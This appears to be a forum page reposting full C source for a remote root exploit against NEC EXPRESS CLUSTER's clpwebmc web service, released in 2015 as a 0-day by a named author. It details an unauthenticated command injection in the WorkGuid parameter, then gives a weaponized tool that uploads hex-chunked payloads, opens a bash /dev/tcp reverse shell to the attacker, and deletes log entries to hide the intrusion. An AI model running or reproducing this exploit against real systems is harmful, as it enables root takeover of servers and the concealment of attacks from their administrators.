Search the Community
Showing results for tags 'nec express cluster '.
-
NEC EXPRESS CLUSTER comes with Cluster Manager, a Java applet for cluster configuration and management. The underlying webserver 'clpwebmc' runs as root and accepts connections on TCP port 29003 which can be initiated without authentication in the default installation. /* * 2017 update: as of 3.3.4 this bug seems to be fixed * - fixed versions: * NEC EXPRESSCLUSTER X 3.3.4-1 for Linux(amd64) * NEC EXPRESSCLUSTER X SingleServerSafe 3.3.4-1 for Linux(amd64) */ /* * *** THIS IS PRIVATE + UNPUBLISHED (0-DAY) SOURCE CODE, DO NOT DISTRIBUTE *** * * NEC EXPRESS CLUSTER clpwebmc Linux remote root exploit by cenobyte 2015 * <vincitamorpatriae@gmail.com> * * - product description: * NEC EXPRESS CLUSTER is a family of integrated high availability and disaster * recovery software solutions that address the fast recovery and continuous * protection needs of business critical applications and data. With increased * servers and complexity of server applications running Windows or Linux, * EXPRESS CLUSTER minimizes planned and unplanned system outages. * * - vulnerability description: * NEC EXPRESS CLUSTER comes with Cluster Manager, a Java applet for cluster * configuration and management. The underlying webserver 'clpwebmc' runs as * root and accepts connections on TCP port 29003 which can be initiated without * authentication in the default installation. * * A function is available to remove temporary work directories by issuing the * following GET request to port 29003, appended with the location of the * directory that is supposed to be deleted: * GET /DeleteWorkDirectory.js?WorkGuid=directoryname * * The working of the DeleteWorkDirectory.js HTTP request roughly translates to * the following C code: * * void * remove_dir_path(char *WorkGuidParameter) * { * char x[128]; * snprintf(x, sizeof(x), "rm -fr /opt/nec/clusterpro/%s", * WorkGuidParameter); * system(x); * } * * No input sanitation is performed and the supplied arguments are passed * straight on to system(). By setting the WorkGuid parameter to '0' and * appending a semicolon followed by arbritrary commands it is possible to * execute those commands as root on the remote machine. * * Example HTTP GET request with command injection: * GET /DeleteWorkDirectory.js?WorkGuid=0;id>/tmp/id.txt * * Which results on the remote host: * $ ls -la /tmp/id.txt * -rw-rw-rw- 1 root root 57 Apr 20 16:37 /tmp/id.txt * $ cat /tmp/id.txt * uid=0(root) gid=0(root) groups=0(root) * * - tested vulnerable versions: * NEC EXPRESSCLUSTER X 3.3.0-1 for Linux(x86_64) on CentOS 6 * NEC EXPRESSCLUSTER X 3.1 for Linux(x86_64) on CentOS 6 * NEC EXPRESSCLUSTER X 2.1.4-1 for Linux(x86_64) on CentOS 6 * NEC ExpressCluster X LAN for Linux 2.0.2-1 i686 on CentOS 5 * NEC ExpressCluster X WAN for Linux 2.0.2-1 i686 on CentOS 5 * * - tested versions not vulnerable: * NEC ExpressCluster SE for Linux 3.1 i386 on RHEL 4 * * - exploit details: * This exploit is fully "weaponized" as they call it nowadays. It starts a * listening port on the attacking host and connects back from the victim host * using bash /dev/tcp redirection. The attacking host cannot be behind NAT or * run a firewall due to the nature of connect-back. * * A payload system is utilised where commands are encoded to hex and split into * chunks. These chunks are then sent one by one to the victim host and appended * to a temporary file using 'echo -ne'. The temporary file gets executed in the * last request. * * For OPSEC purposes the temporary file will destroy itself and * all traces of the exploit and your IP will be deleted from these log files: * /opt/nec/clusterpro/log/webmgr.log.cur * /opt/nec/clusterpro/log/webmgr.err.cur * * - exploit compilation: * gcc -Wall clpwebmc0day-v2.c -o clpwebmc0day-v2 * * - the exploit connect-back listener is confirmed to work on: * CentOS 6 * Fedora 22 * OS X 10.10.5 * */ #include <arpa/inet.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #include <fcntl.h> #include <netdb.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <time.h> #include <unistd.h> #define HDR "NEC EXPRESS CLUSTER clpwebmc Linux remote root exploit by cenobyte" #define HEAD "HEAD / HTTP/1.1" #define CLPWEBMCPORT 29003 #define DEFAULTPORT 8080 #define GET "GET /DeleteWorkDirectory.js?WorkGuid=0;" /* the vulnerability */ #define INFO "GET /GetConfiguration.js?WebMgrVersion=0" /* nice info leak */ #define AUTH "Authorization: admin:" #define HTTP " HTTP/1.1\n" #define CRLF "\n\n" #define BUFSIZE 1024 #define MAXPROCCMD 194 /* max len of request.c: process_command parameter */ #define CMD "unset HISTFILE; cd /; /bin/uname -a; /usr/bin/id\n" #define CHMOD "chmod 755 " #define OVERWRITE "head -1024 /dev/urandom>" #define UNLINK "rm -f " #define ECHOAUTH "%secho -ne \"%s\">>%s%s%s%s" #define ECHO "%secho -ne \"%s\">>%s%s" #define LOG "/opt/nec/clusterpro/log/webmgr" #define ECPATH "/opt/nec/clusterpro/0" /* use the logged info leak GET request to find out the IP to connect-back */ #define CONNECTBACK "(/bin/bash 0</dev/tcp/" \ "$(grep GetConfiguration %s.log.cur|" \ "grep IP=|tail -1|tr ':' '\\n'|" \ "grep Root=1|cut -d, -f1)" \ "/%d 1>&0 2>&0) &" /* remove all log entries that reveal the vulnerability, exploit and our IP */ #define ANTIFOR "(sleep 5;for x in log err;do " \ "grep -vE 'd=0|n=0|%s|check_pass|system' %s.$x.cur>%s.0;" \ "cat %s.0>%s.$x.cur;" \ "rm -f %s.0;" \ "done) &" /* TMPPATH is the remote directory where the payload will be stored, you could * use /tmp but there's a fair chance that the sysadmin has mounted that with * 'noexec' */ #define TMPPATH "/opt/nec/clusterpro/log" int sock; int listsock; int list_s; int flags; int port = CLPWEBMCPORT; int connectback = DEFAULTPORT; extern char *__progname; char *host; char *md5; int validport(int port, char *p) { if ((port < 1) || (port > 65535)) { printf("error: %d is an invalid %s port\n", port, p); return(1); } return(0); } void usage() { printf("usage: %s -h <host> [-p|-c|-m]\n", __progname); printf("\t-p [port (default: %d)]\n", port); printf("\t-c [connect-back port (default: %d)]\n", connectback); printf("\t-m [admin user md5 hash]\n\n"); exit(1); } char *genrandom() { int len = strlen(TMPPATH) + 8; int n; char *s = "AbCdEfGhIjKlMnOpQrXtUvWxYz"; char *r = malloc(sizeof(char)*(len + 1)); sprintf(&r[0], "%s/", TMPPATH); srand(time(NULL)); for (n = strlen(TMPPATH) + 1; n < len; n++) r[n] = s[rand() % strlen(s)]; r[len] = '\0'; return(r); } int opensock(char *host, unsigned short int port) { int s; struct hostent *target; struct sockaddr_in addr; target = gethostbyname(host); if (target == NULL) { perror("gethostbyname"); exit(1); } s = socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto); if (s == -1) { perror("socket"); exit(1); } memcpy(&addr.sin_addr, target->h_addr, target->h_length); addr.sin_family = AF_INET; addr.sin_port = htons(port); if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) == -1) { perror("connect"); exit(1); } return(s); } void sendsock(char *buf) { char readbuf[1024]; if (strlen(buf) >= MAXPROCCMD) { printf("sendsock() max len exceeded"); exit(1); } sock = opensock(host, port); if (write(sock, buf, strlen(buf)) < 0) { perror("write"); exit(1); } if (write(sock, CRLF, strlen(CRLF)) < 0) { perror("write"); exit(1); } if (read(sock, readbuf, sizeof(readbuf) - 1) < 0) { perror("read"); exit(1); } if (strstr(readbuf, "HTTP/1.1 200 OK") == NULL) { if (strstr(readbuf, "HTTP/1.1 403 Forbidden") != NULL) printf("[!] md5 hash is invalid %s\n", md5); else printf("[!] unknown error: [%s][%lu]\n", readbuf, strlen(readbuf)); exit(1); } #ifdef VERBOSE printf("[-] sendsock(): HTTP/1.1 200 OK\n"); #endif close(sock); } void writepayload(char *p, char *path) { char buf[MAXPROCCMD]; if (md5 == NULL) snprintf(buf, sizeof(buf), ECHO, GET, p, path, HTTP); else snprintf(buf, sizeof(buf), ECHOAUTH, GET, p, path, HTTP, AUTH, md5); if (strlen(buf) > MAXPROCCMD) { printf("writepayload(): \"%s\" size exceeds MAXPROCCMD\n", buf); exit(1); } sendsock(buf); } void execpayload(char *path) { char buf[MAXPROCCMD]; printf("[*] executing payload\n"); if (md5 == NULL) { snprintf(buf, sizeof(buf), "%s%s%s%s", GET, CHMOD, path, HTTP); sendsock(buf); snprintf(buf, sizeof(buf), "%s%s%s", GET, path, HTTP); sendsock(buf); } else { snprintf(buf, sizeof(buf), "%s%s%s%s%s%s", GET, CHMOD, path, HTTP, AUTH, md5); sendsock(buf); snprintf(buf, sizeof(buf), "%s%s%s%s%s", GET, path, HTTP, AUTH, md5); sendsock(buf); } } void sendcmd(char *p, char *path) { int i; int n = 1; int c = 0; int maxchunksize; int req; static char buf[MAXPROCCMD]; if (md5 == NULL) { req = strlen(GET) + strlen(HTTP) + strlen(path) + \ strlen(ECHO) + strlen(CRLF); } else { req = strlen(GET) + strlen(HTTP) + strlen(path) + \ strlen(ECHOAUTH) + strlen(CRLF) + strlen(AUTH) + \ strlen(md5); } #ifdef VERBOSE printf("[-] command: \"%s\"\n", p); #endif maxchunksize = (MAXPROCCMD - req) / 4; /* make the payload destroy itself on the filesystem during execution */ printf("[*] adding self destruct to payload: %s\n", path); snprintf(buf, sizeof(buf), "%s%s 2>&1;", OVERWRITE, path); writepayload(buf, path); snprintf(buf, sizeof(buf), "%s%s;", UNLINK, path); writepayload(buf, path); if (strlen(p) > maxchunksize) { printf("[-] command exceeds available space in GET request\n"); printf("[-] have to split in chunks\n"); } printf("[*] uploading command payload to: %s\n", path); printf(" payload size: %lu\n", strlen(p)); printf(" payload chunk space: %d\n", maxchunksize); printf(" number of chunks: %lu\n", strlen(p) / maxchunksize); printf("[*] uploading:\n"); printf(" chunk %d", n); #ifdef VERBOSE printf(" | "); #endif /* turn commands into a hex payload of 'maxchunksize' byte chunks which * are saved to the filesystem. this is to bypass '&' filtering and to * get around the maximum size of GET requests allowed by clpwebmc */ for (i = 0; i < strlen(p); i++) { sprintf(&buf[c * 4],"\\x%02x", p[i]); #ifdef VERBOSE printf(" %c ", p[i]); #endif if (c == (maxchunksize - 1)) { #ifdef VERBOSE printf("\n chunk %d", n); printf(" | %s", buf); #endif printf("\n"); writepayload(buf, path); c = 0; n++; printf(" chunk %d", n); #ifdef VERBOSE printf(" | "); #endif } else { c++; } } #ifdef VERBOSE printf("\n chunk %d", n); printf(" | %s", buf); #endif printf("\n"); writepayload(buf, path); execpayload(path); } void checkserver() { char buf[BUFSIZE]; sock = opensock(host, port); if (write(sock, HEAD, strlen(HEAD)) < 0) { perror("write"); exit(1); } if (write(sock, CRLF, strlen(CRLF)) < 0) { perror("write"); exit(1); } if (read(sock, buf, sizeof(buf) - 1) < 0) { perror("read"); exit(1); } close(sock); /* older clpwebmc versions present themselves as: ClusterProWebmanager * newer versions use: ClusterWebmanager */ if (strstr(buf, "Server: Cluster") == NULL || \ strstr(buf, "Webmanager") == NULL) { printf("error: %s:%d is not running clpwebmc\n", host, port); exit(1); } /* this GET request gets logged */ sock = opensock(host, port); if (write(sock, INFO, strlen(INFO)) < 0) { perror("write"); exit(1); } if (write(sock, CRLF, strlen(CRLF)) < 0) { perror("write"); exit(1); } if (read(sock, buf, sizeof(buf) - 1) < 0) { perror("read"); exit(1); } close(sock); /* OS checker * WebMgrVersion="WebMgr2.1.1_Linux" * WebMgrVersion="WebMgr3.0.0_Win" */ if (strstr(buf, "_Linux\"") == NULL) { printf("\n"); printf("[!] cannot exploit, %s is not running Linux\n", host); printf(" (your IP has been logged by the target system)\n"); exit(1); } printf("[-] %s:%d is Linux running clpwebmc\n", host, port); if ((strstr(buf, "NeedPasswdAuth=0") == NULL) && (md5 == NULL)) { printf("[!] cannot exploit: clpwebmc has a password set\n"); printf(" see usage how to send an admin password\n"); printf(" (your IP has been logged by the target system)\n"); printf("\n"); usage(); exit(1); } } void setuplistener() { struct sockaddr_in addr; printf("[*] setting up connect-back listener on port: %d\n", connectback); if ((list_s = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) { perror("socket"); exit(1); } addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(INADDR_ANY); addr.sin_port = htons(connectback); if (bind(list_s, (struct sockaddr *) &addr, sizeof(addr)) < 0) { perror("bind"); exit(1); } if (listen(list_s, BUFSIZE) < 0) { perror("listen"); exit(1); } /* set O_NONBLOCK on listening socket */ flags = fcntl(list_s, F_GETFL, 0); if (fcntl(list_s, F_SETFL, flags | O_NONBLOCK) == -1) { perror("fcntl"); exit(1); } } void connectshell() { int p; char buf[BUFSIZE]; struct timeval tm; fd_set rset; printf("[*] connecting to shell\n"); #ifdef __APPLE__ /* remove O_NONBLOCK flag on OS X machines */ flags = fcntl(list_s, F_GETFL, 0); if (fcntl(list_s, F_SETFL, flags |~ O_NONBLOCK) == -1) { perror("fcntl"); exit(1); } #endif if ((listsock = accept(list_s, NULL, NULL)) < 0) { perror("accept"); exit(1); } p = send(listsock, CMD, strlen(CMD), 0); if (p == -1) { perror("send"); exit(1); } printf("[-] connect-back successful\n\n"); tm.tv_sec = 10; tm.tv_usec = 0; while (1) { FD_ZERO(&rset); FD_SET(listsock, &rset); FD_SET(STDIN_FILENO, &rset); select(listsock + 1, &rset, NULL, NULL, &tm); if (FD_ISSET(listsock, &rset)) { p = read(listsock, buf, sizeof(buf) - 1); if (p <= 0) exit(0); buf[p] = 0; printf("%s", buf); } if (FD_ISSET(STDIN_FILENO, &rset)) { p = read(STDIN_FILENO, buf, sizeof(buf) - 1); if (p > 0) { buf[p] = 0; write(listsock, buf, p); } } } } int main(int argc, char *argv[]) { int opt; char cmd[BUFSIZE]; printf("%s\n\n", HDR); if (argc < 3) usage(); while ((opt = getopt(argc, argv, "h:p:c:m:")) != -1) switch (opt) { case 'h': host = optarg; break; case 'p': port = atoi(optarg); if (validport(port, "target") != 0) exit(1); break; case 'c': connectback = atoi(optarg); if (validport(connectback, "connect-back") != 0) exit(1); break; case 'm': md5 = optarg; printf("[-] using admin auth: %s\n", md5); break; default: usage(); } if (host == NULL) usage(); checkserver(); setuplistener(); snprintf(cmd, sizeof(cmd), CONNECTBACK, LOG, connectback); sendcmd(cmd, genrandom()); /* remove all traces of the payload that were logged by webmgr * also remove all remove_tmp_webm system entries as it reveals our vuln */ printf("[-] anti-forensics: %s.log.cur and %s.err.cur\n", LOG, LOG); snprintf(cmd, sizeof(cmd), ANTIFOR, ECPATH, LOG, LOG, LOG, LOG, LOG); sendcmd(cmd, genrandom()); connectshell(); /* never reached */ return(0); } Download clpwebmc0day-v3.c Source
-
- clpwebmc
- nec express cluster
-
(and 3 more)
Tagged with: